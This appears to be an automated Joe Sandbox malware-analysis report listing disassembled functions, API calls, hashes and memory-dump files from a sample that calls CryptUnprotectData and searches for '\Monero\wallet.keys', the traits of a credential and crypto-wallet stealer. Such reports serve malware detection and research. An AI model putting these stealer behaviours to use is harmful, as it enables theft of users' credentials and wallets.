Opcode Fuzzy Hash: e18ec171334c04c7827a5cf999a9c0d6c4cf4d87570e1f37554b1790f49fdef2
Instruction Fuzzy Hash: 9141E971A40A28AFDB24DF58CC95B9BB7B5BB48702F4041D8E609E72D0E7716E85CF50

Function 00A49B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00A49B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A49BA3
LocalFree.KERNEL32(?), ref: 00A49BD3

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 93afc4aad427f9a370746f52256d533bea966755ba47dedffb4f0279abc38759
Instruction ID: b8f0be07de1cd5a65a777e1bc50e8eb37d61c98dc53c8b3ab0bb934e90e9e274
Opcode Fuzzy Hash: 93afc4aad427f9a370746f52256d533bea966755ba47dedffb4f0279abc38759
Instruction Fuzzy Hash: F311C9B8A00209EFDB04DF94D985AAFB7B5FF88300F104599E915A7390D774AE11CFA1

Function 00E1392C Relevance: 4.2, Strings: 2, Instructions: 1659COMMON

Download Yara Rule

Strings

c3o?, xrefs: 00E13F82
PDGn, xrefs: 00E140C4

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: PDGn$c3o?
API String ID: 0-3844238503
Opcode ID: 02ac5959c52356f7076f0a8e49d9f4830c715d86e11d2d7a249ac9ae3888eb9b
Instruction ID: d198807cfd21619bb578499f2282bfd8c8374c693224e1f449d391eb3f21c91f
Opcode Fuzzy Hash: 02ac5959c52356f7076f0a8e49d9f4830c715d86e11d2d7a249ac9ae3888eb9b
Instruction Fuzzy Hash: B4B22AF3A0C2109FE7046E2DEC8567ABBE9EFD4320F16863DE6C4C7744EA7558058692

Function 00E82821 Relevance: 3.9, Strings: 3, Instructions: 171COMMON

Download Yara Rule

Strings

v~_, xrefs: 00E829E3
!(, xrefs: 00E8283E, 00E8294A, 00E82972, 00E82A0E
z~_, xrefs: 00E829E8

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !($v~_$z~_
API String ID: 0-4077138999
Opcode ID: b557b6124bbd5382e9eef85390224a63dde7f5ffc2d26d4e1992e4c2a7a42e75
Instruction ID: 0ea9ce734a851b36d99c8e720ab119a0c7f63bcff7aa9affb4c4eff990378368
Opcode Fuzzy Hash: b557b6124bbd5382e9eef85390224a63dde7f5ffc2d26d4e1992e4c2a7a42e75
Instruction Fuzzy Hash: 6F5125B390C205DFD3147E69DD846BABBE8EB54350F22192EEBCEE3600E1315940A792

Function 00E02D44 Relevance: 2.8, Strings: 1, Instructions: 1589COMMON

Download Yara Rule

Strings

,}}, xrefs: 00E03C5D

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,}}
API String ID: 0-2922230984
Opcode ID: 6cd6c39eeb50ffa9e5b2d0ed03b6ef16cd0d2197432c6caa98f8a46f51a1f28f
Instruction ID: e6c60cd28b756deb40b51862157e75621c3647a4dd04dd5fd20c529c6cd5367e
Opcode Fuzzy Hash: 6cd6c39eeb50ffa9e5b2d0ed03b6ef16cd0d2197432c6caa98f8a46f51a1f28f
Instruction Fuzzy Hash: AEB2F5F390C2049FE704AE29EC8567AFBE9EF94720F16493DEAC4C3744EA3558058697

Function 00CBDE33 Relevance: 2.7, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

iA2, xrefs: 00CBDF93
a(s, xrefs: 00CBDED3

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: a(s$iA2
API String ID: 0-3445831206
Opcode ID: 07c1ea00a0218e275095ea957a1a1923464d06fec298da156b5b74eb30df44a3
Instruction ID: 9fad95305a8b307171e641802e25a6b6dec11cde4d4ee0b07c378fc778c710e6
Opcode Fuzzy Hash: 07c1ea00a0218e275095ea957a1a1923464d06fec298da156b5b74eb30df44a3
Instruction Fuzzy Hash: 3C5109F361C3085FE308AA2DEC9573AB7D9DBD4720F26463DE694C3780ED7558018696

Function 00A4F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A615B8,00A60D96), ref: 00A4F71E
StrCmpCA.SHLWAPI(?,00A615BC), ref: 00A4F76F
StrCmpCA.SHLWAPI(?,00A615C0), ref: 00A4F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00A4FAB1
FindClose.KERNEL32(000000FF), ref: 00A4FAC3

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 287d54da532f8c175ae5f7ae350c3433c37a2fea607e7de294792f38c7b8040f
Instruction ID: a462417113606a3e9f3343561dade0bdb99989108127edb309d1c19705bfce45
Opcode Fuzzy Hash: 287d54da532f8c175ae5f7ae350c3433c37a2fea607e7de294792f38c7b8040f
Instruction Fuzzy Hash: 7E118475A0411DABDB14EBA0DD559ED7378BF20301F4047A9A91A57092EF302B4ECB92

Function 00D60608 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

u}|, xrefs: 00D60624

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: u}|
API String ID: 0-2745768974
Opcode ID: 61bf4fe0559e233b213ef3f540da83ef8279005aff5fe1e52420c18e4e10b284
Instruction ID: 9402c5a121c14013cf7178ab539b76d3c54038c36275ce6861b7516cc8ed0dbf
Opcode Fuzzy Hash: 61bf4fe0559e233b213ef3f540da83ef8279005aff5fe1e52420c18e4e10b284
Instruction Fuzzy Hash: 4541D0B3B083005FF314AA7DDC99B3AB6D6DBC4320F2A853DAB94C7785F97948054686

Function 00D4D4CF Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

!FW_, xrefs: 00D4D4D3

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !FW_
API String ID: 0-1140023747
Opcode ID: ac41cbc447c2d2196e7455f61c0f0a3e9dea8f0f989efbb44d220e2eb456659d
Instruction ID: f32bef3db2e44f1051d2c19dd7b44fa727ba015a0b1a2e55c465f54fb0c87042
Opcode Fuzzy Hash: ac41cbc447c2d2196e7455f61c0f0a3e9dea8f0f989efbb44d220e2eb456659d
Instruction Fuzzy Hash: 424188B3A083005BE3446E3EDC8837ABBD6EFC4320F1A803CDAC487745D93969458292

Function 00E0F5B2 Relevance: .4, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c4484befffa106554ee197a12d7973bf7b316ca91270e2b79231356b787d8b9
Instruction ID: 711353f9a901797c897aabe6571a48236e637d583d844c5cdaf1d74379f99811
Opcode Fuzzy Hash: 8c4484befffa106554ee197a12d7973bf7b316ca91270e2b79231356b787d8b9
Instruction Fuzzy Hash: 75E1D4F3A082109FE304AF2DDC8576AFBE9EF94720F16892DEAC4D7744E63558448687

Function 00CDB787 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a9153b81a51fd0484fff8306d7294c7d9efe1137d66161f846f45b1ed6cd167
Instruction ID: 24bd44828e8100ce0dcd8af96e818f00133a76052e8217f23002e1609cf9c0ed
Opcode Fuzzy Hash: 4a9153b81a51fd0484fff8306d7294c7d9efe1137d66161f846f45b1ed6cd167
Instruction Fuzzy Hash: C26148F3A092109FE3046A2DDC9537AB7DADB98324F2B463DDAD5D37C0E9756C008686

Function 00DA895A Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99fc03c0638eeb7d679bf88e926e44f2d516c79583c51f3ad960527fe7410d28
Instruction ID: 44dbd1abdc548a14db72583cd4650cea591e1c698f7cce3354a3481151d5826a
Opcode Fuzzy Hash: 99fc03c0638eeb7d679bf88e926e44f2d516c79583c51f3ad960527fe7410d28
Instruction Fuzzy Hash: 056125F3A183149FE3042E29DC857BABBD9EB54320F16463DDBC487784E976584487C6

Function 00CF1263 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c694cca2872a7b94310ebfce96859bd35b769be13677b5bcd1b5681bb366ec
Instruction ID: d2bf2c72f4f2930eea70c9770c7e1f4ee28ab6908c3b8bf96adbff844b5ae601
Opcode Fuzzy Hash: 93c694cca2872a7b94310ebfce96859bd35b769be13677b5bcd1b5681bb366ec
Instruction Fuzzy Hash: 27514BB3A182195FF308AE2DEC41B76B7D9EB84321F1A453DEA84C7784E9355C0186CA

Function 00EB6653 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
